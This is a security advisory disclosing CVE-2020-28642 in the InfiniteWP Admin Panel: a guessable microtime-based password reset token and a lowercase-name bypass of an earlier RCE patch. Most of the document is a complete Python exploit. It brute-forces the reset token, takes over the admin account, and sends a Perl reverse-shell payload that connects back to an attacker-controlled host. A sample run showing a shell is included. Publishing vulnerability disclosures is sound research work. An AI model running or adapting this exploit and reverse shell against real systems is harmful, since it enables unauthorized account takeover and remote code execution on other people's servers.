SSD Advisory – Auth Bypass and RCE in Infinite WP Admin Panel

TL;DR

Find out how a vulnerability in Infinite WP’s password reset mechanism allows an unauthenticated user to become authenticated and then carry out a Remote Code Execution.

Vulnerability Summary

InfiniteWP is “free self hosted, multiple WordPress site management solution. It simplifies your WordPress tasks with a click of a button”.

A vulnerability in InfiniteWP allows unauthenticated users to become authenticated if they know an email address of one of the users in the system, this is done through a flaw in the password reset mechanism of the product.

Credit

Independent security researcher, polict of Shielder ( ShielderSec ), has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

Infinite WP 2.15.6 and prior

Fixed Versions

Infinite WP 2.15.7 and above

NOTE: the vulnerability was silently patched without updating the change log – therefore some versions after 2.15.6 and before 2.15.7 are also immune – the vendor has not disclosed to us what versions have this fix in place

CVE

CVE-2020-28642

Vendor Response

When we informed the vendor in September 2020, they stated that they were previously informed about the issue (reported to them a few months before) and they were planning to release the patch to everyone within 3-4 weeks.

They asked us to wait for Jan 2021, so that they can confirm that all their customers got patched.

A few days ago, we found out that other researcher has published his findings (around Nov 2020) and the vendor didn’t take the time to notify us of this – though they have promised they would – we have therefore decided to moved forward and released this full advisory.

Vulnerability Analysis

1. Weak password reset token

The password reset link is created by InfiniteWP Admin Panel by executing the code in function userLoginResetPassword($params) (inside controllers/appFunctions.php line 1341) :

$hashValue = serialize(array('hashCode' => 'resetPassword', 'uniqueTime' => microtime(true), 'userPin' => $userDets['userID']));
$resetHash = sha1($hashValue);
[...]
$verificationURL = APP_URL."login.php?view=resetPasswordChange&resetHash=".$resetHash."&transID=".sha1($params["email"]);

where $userDets[‘userID’] is the target user identifier and $params[“email”] is their email.An attacker only needs the user id, user email and the value produced by the call to microtime(true) in order to create the correct link and reset the victim’s password:

  • The user id is an auto-increment integer stored in the database, the default value is 1 because in order to have more users it is required to purchase the ‘manage-users’ addon (https://infinitewp.com/docs/addons/manage-users/); that being said, the attached exploit script by default tries values from 1 to 5;
  • The user email can be tested before the attack takes place since there’s a different HTTP response if the email entered is not registered: an HTTP redirect to login.php?view=resetPassword&errorMsg=resetPasswordEmailNotFound means the email is not registered, otherwise it is; the attached exploit script automatically notifies if the input email is not registered;
  • The value generated by microtime(true) is the current UNIX timestamp with microseconds (php.net/microtime), hence it can be guessed by using the HTTP “Date” header value (seconds precision) as a reference point for the dictionary creation.

By creating a dictionary list with all the possible resetHash values it is possible to guess the correct password reset token and reset the victim’s password. The attack will be successful with a maximum of 1 million tries over a 24 hours time window (the password reset token expires after 24 hours), which is a reasonable timing.

During the Proof-of-concept tests, the average total time required to successfully exploit the issues has been of 1 hour; that said the timings might differ depending on the specific network speed / congestion / configuration and the microtime call output.

At this point an attacker is able to reset the victim’s password and gain access to the Infinite WP Admin Panel, the next vulnerability will cover how to achieve authenticated Remote Code Execution on the host machine.

2. Remote Code Execution via “addFunctions” (bypass of “checkDataIsValid”)

In 2016 a remote code execution vulnerability was found in Infinite WP Admin Panel 2.8.0, which affected the /ajax.php API endpoint. The details are since publicly available at https://packetstormsecurity.com/files/138668/WordPress-InfiniteWP-Admin-Panel-2.8.0-Command-Injection.html

As written in the advisory, the vulnerability was fixed by adding a call to function checkDataIsValid($action) (controllers/panelRequestManager.php line 3782):

private static function checkDataIsValid($action){
    //Restricted function access
    $functions = array('addFunctions');
    if(!in_array($action, $functions)){
        return true;
    }
    return false;
}

However that check doesn’t take in consideration that PHP function names are case insensitive: by using addfunctions (notice the lowercase “f”) it is possible to bypass the patch and achieve remote code execution.

Demo

Exploit

#!/usr/bin/env python3
# coding: utf8
#
# exploit code for unauthenticated rce in InfiniteWP Admin Panel v2.15.6
#
# tested on:
# - InfiniteWP Admin Panel v2.15.6 released on August 10, 2020
#
# the bug chain is made of two bugs:
# 1. weak password reset token leads to privilege escalation
# 2. rce patch from 2016 can be bypassed with same payload but lowercase
#
# example run:
# $ ./iwp_rce.py -e 'a@b.c' -rh http://192.168.11.129/iwp -lh 192.168.11.1
# 2020-08-13 14:45:29,496 - INFO - initiating password reset...
# 2020-08-13 14:45:29,537 - INFO - reset token has been generated at 1597322728, starting the bruteforce...
# 2020-08-13 14:45:29,538 - INFO - starting with uid 1...
# 2020-08-13 14:50:05,318 - INFO - tested 50000 (5.0%) hashes so far for uid 1...
# 2020-08-13 14:54:49,094 - INFO - tested 100000 (10.0%) hashes so far for uid 1...
# 2020-08-13 14:59:15,282 - INFO - tested 150000 (15.0%) hashes so far for uid 1...
# 2020-08-13 15:04:19,933 - INFO - tested 200000 (20.0%) hashes so far for uid 1...
# 2020-08-13 15:08:55,162 - INFO - tested 250000 (25.0%) hashes so far for uid 1...
# 2020-08-13 15:13:38,524 - INFO - tested 300000 (30.0%) hashes so far for uid 1...
# 2020-08-13 15:15:43,375 - INFO - password has been reset, you can now login using a@b.c:msCodWbsdxGGETswnmWJyANE/x2j6d9G
# 2020-08-13 15:15:43,377 - INFO - removing from the queue all the remaining hashes...
# 2020-08-13 15:15:45,431 - INFO - spawning a remote shell...
# /bin/sh: 0: can't access tty; job control turned off
# $ id
# uid=1(daemon) gid=1(daemon) groups=1(daemon)
# $ uname -a
# Linux debian 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
# $ exit
# *** Connection closed by remote host ***
# 
# polict, 13/08/2020

import sys, time
import requests 
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from concurrent.futures import as_completed
from requests_futures.sessions import FuturesSession
import logging
import logging.handlers
import datetime
from argparse import ArgumentParser
from hashlib import sha1
import socket
import telnetlib
from threading import Thread

### default settings
DEFAULT_LPORT = 9111
DEFAULT_MICROS = 1000000
DEFAULT_NEW_PASSWORD = "msCodWbsdxGGETswnmWJyANE/x2j6d9G"
PERL_REV_SHELL_TPL = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"

### argument parsing
parser = ArgumentParser()
parser.add_argument("-rh", "--rhost", dest="rhost", required=True,
            help="remote InfiniteWP Admin Panel webroot, e.g.: http://10.10.10.11:8080/iwp")
parser.add_argument("-e", "--email", dest="email",
            help="target email", required=True)
parser.add_argument("-u", '--user-id', dest="uid",
            help="user_id (in the default installation it is 1, if not set will try 1..5)")
parser.add_argument("-lh", '--lhost', dest="lhost",
            help="local ip to use for remote shell connect-back",
            required=True)
parser.add_argument("-ts", '--token-timestamp', dest="start_ts",
            help="the unix timestamp to use for the token bruteforce, e.g. 1597322728")
parser.add_argument("-m", "--micros", dest="micros_elapsed",
            help="number of microseconds to test (if not set 1000000 (1 second))",
            default=DEFAULT_MICROS)
parser.add_argument("-lp", '--lport', dest="lport",
            help="local port to use for remote shell connect-back",
            default=DEFAULT_LPORT)
parser.add_argument("-p", '--new-password', dest="new_password",
            help="new password (if not set will configure '{}')".format(DEFAULT_NEW_PASSWORD),
            default=DEFAULT_NEW_PASSWORD)
parser.add_argument("-d", "--debug", dest="debug_mode",
            action="store_true",
            help="enable debug mode")
args = parser.parse_args()

log = logging.getLogger(__name__)
if args.debug_mode:
    log.setLevel(logging.DEBUG)
else:
    log.setLevel(logging.INFO)

handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))
log.addHandler(handler)

### actual exploit logic
def init_pw_reset():
    global args
    start_clock = time.perf_counter()
    start_ts = datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)
    log.debug("init pw reset start ts: {}".format(start_ts))
    response = requests.post("{}/login.php".format(args.rhost), verify=False,
    data={
        "email": args.email, 
        "action": "resetPasswordSendMail", 
        "loginSubmit": "Send Reset Link"
    }, allow_redirects=False)
    log.debug("init pw reset returned these headers: {}".format(response.headers))
    """
    now we could use our registered timings to restrict the bruteforce values to the minimum range
    instead of using the whole "last second" microseconds range, however we can't be 100% sure
    the target server is actually NTP-synced just via the HTTP "Date" header, so let's skip it for now

    # calculate actual ntp-time range
    end_clock = time.perf_counter() # datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)
    delta_clock = end_clock - start_clock
    end_ts = start_ts + datetime.timedelta(seconds=delta_clock)
    log.debug("end: {}".format(end_ts))
    print("delta clock {} -- end ts {} timestamp: {}".format(delta_clock, end_ts, end_ts.timestamp()))
    
    # this takes for garanteed that the response arrives before 1 minute is elapsed
    micros_elapsed = delta_ts.seconds * 1000000 + delta_ts.microseconds
    log.debug("micros elapsed: {}".format(micros_elapsed))
    """

    if response.status_code == 302 and "resetPasswordEmailNotFound" in response.headers['location']:
        log.error("the input email is not registered in the target Infinite WP Admin Panel, retry with another one")
        sys.exit(1)

    # both redirects are ok because the reset hash is written in the db before sending the mail
    if response.status_code == 302 \
        and (response.headers["location"] == 'login.php?successMsg=resetPasswordMailSent' \
            or response.headers["location"] == 'login.php?view=resetPassword&errorMsg=resetPasswordMailError'):
        
        # Date: Tue, 11 Aug 2020 09:59:38 GMT --> dt obj
        server_dt = datetime.datetime.strptime(response.headers["date"], '%a, %d %b %Y %H:%M:%S GMT')
        server_dt = server_dt.replace(tzinfo=datetime.timezone.utc)
        log.debug("server time: {}".format(server_dt))
        """
        this could be a bruteforce optimization, however it is not 100% reliable as mentioned earlier

        if (end_ts - server_dt) > datetime.timedelta(milliseconds=500):
            log.warning("the target server doesn't look ntp-synced, exploit will most probably fail") 
        """
        args.start_ts = int(server_dt.timestamp())
        # args.micros_elapsed = 1000000

        return 
    else:
        log.error("pw reset init failed, check with debug enabled (-d)")
        sys.exit(1)

def generate_reset_hash(timestamp, uid):
    global args
    """
        $hashValue = serialize(array('hashCode' => 'resetPassword', 
        'uniqueTime' => microtime(true), 
        'userPin' => $userDets['userID']));

        ^ e.g. a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597143127.445164;s:7:"userPin";s:1:"1";}

        $resetHash = sha1($hashValue);
    """
    template_ts_uid = "a:3:{s:8:\"hashCode\";s:13:\"resetPassword\";s:10:\"uniqueTime\";d:%s;s:7:\"userPin\";s:1:\"%s\";}"
                       # a:3:{s:8:"hashCode";s:13:"resetPassword";s:10:"uniqueTime";d:1597167784.175625;s:7:"userPin";s:1:"1";}
    serialized_resethash = template_ts_uid %(timestamp, uid)
    hash_obj = sha1(serialized_resethash.encode())
    reset_hash = hash_obj.hexdigest()
    log.debug("serialized reset_hash: {} -- sha1: {}".format(serialized_resethash, reset_hash))
    return reset_hash

def brute_pw_reset():
    global args, start_time
    if args.uid is None:
        # in the default installation the uid is 1, but let's try also some others in case they have installed 
        # the "manage-users" addon: https://infinitewp.com/docs/addons/manage-users/
        uids = [1,2,3,4,5]
    else:
        uids = [args.uid]
    log.debug("using uids: {} -- start ts {}".format(uids, args.start_ts))
    sha1_email = sha1(args.email.encode()).hexdigest()
    with FuturesSession() as session: # max_workers=4
        for uid in uids:
            log.info("starting with uid {}...".format(uid))
            microsecond = 0
            hashes_tested = 0
            while microsecond < args.micros_elapsed:
                futures = []
                # try 100k per time to avoid ram cluttering
                for _ in range(100000):
                    # test_ts = args.start_ts + datetime.timedelta(microseconds=microsecond).replace(tzinfo=datetime.timezone.utc)
                    # unix_ts = int(test_ts.timestamp())
                    ms_string = str(args.start_ts) + "." + str(microsecond).zfill(6)
                    reset_hash = generate_reset_hash(ms_string, uid)
                    futures.append(session.post("{}/login.php".format(args.rhost), verify=False, data={"transID": sha1_email, \
                        "action":"resetPasswordChange", \
                        "resetHash": reset_hash, \
                        "newPassword": args.new_password \
                    }, allow_redirects=False))
                    microsecond += 1
                for future in as_completed(futures):
                    if hashes_tested % 50000 == 0 and hashes_tested > 0:
                        log.info("tested {} ({}%) hashes so far for uid {}...".format(hashes_tested, int((hashes_tested/args.micros_elapsed)*100), uid))
                    hashes_tested += 1
                    response = future.result()
                    log.debug("response status code {} - location {}".format(response.status_code, response.headers["location"]))
                    if "successMsg" in response.headers["location"] :
                        log.info("password has been reset, you can now login using {}:{}".format(args.email, args.new_password))
                        log.info("removing from the queue all the remaining hashes...")
                        for future in futures:
                            future.cancel()
                        return
            log.info("target user doesn't have uid {}...".format(uid))

    log.error("just finished testing all {} hashes, the exploit has failed".format(hashes_tested))
    sys.exit(1)

def handler():
    global args
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", args.lport))
    s.listen(1)
    conn, addr = s.accept()
    log.debug("Connection from %s %s received!" % (addr[0], addr[1]))
    t.sock = conn
    t.interact()

def login_and_rce():
    global args
    handlerthr = Thread(target=handler)
    handlerthr.start()

    # login and record cookies
    s = requests.Session()
    log.debug("logging in...")
    login = s.post("{}/login.php".format(args.rhost), data={"email": args.email,
    "password": args.new_password,
    "loginSubmit": "Log in"})
    log.debug("login ret {} headers {}".format(login.status_code, login.headers))

    # rce
    rce = s.get("{}/ajax.php".format(args.rhost), params={"action": "polict",
    # notice the lowercase f 
    # (bypass of patch for https://packetstormsecurity.com/files/138668/WordPress-InfiniteWP-Admin-Panel-2.8.0-Command-Injection.html)
    "requiredData[addfunctions]" : "system", 
    "requiredData[system]": PERL_REV_SHELL_TPL % (args.lhost, args.lport)
    })
    log.debug("rce ret {} headers {}".format(rce.status_code, rce.headers))

if __name__ == '__main__':
    if args.start_ts is None:
        log.info("initiating password reset...")
        init_pw_reset()
    log.info("reset token has been generated at {}, starting the bruteforce...".format(args.start_ts))
    brute_pw_reset()
    log.info("spawning a remote shell...")
    login_and_rce()

Interested in Remote Code Execution? You may be interested in these:

Looking to submit a Remote Code Execution vulnerability?

Talk to us!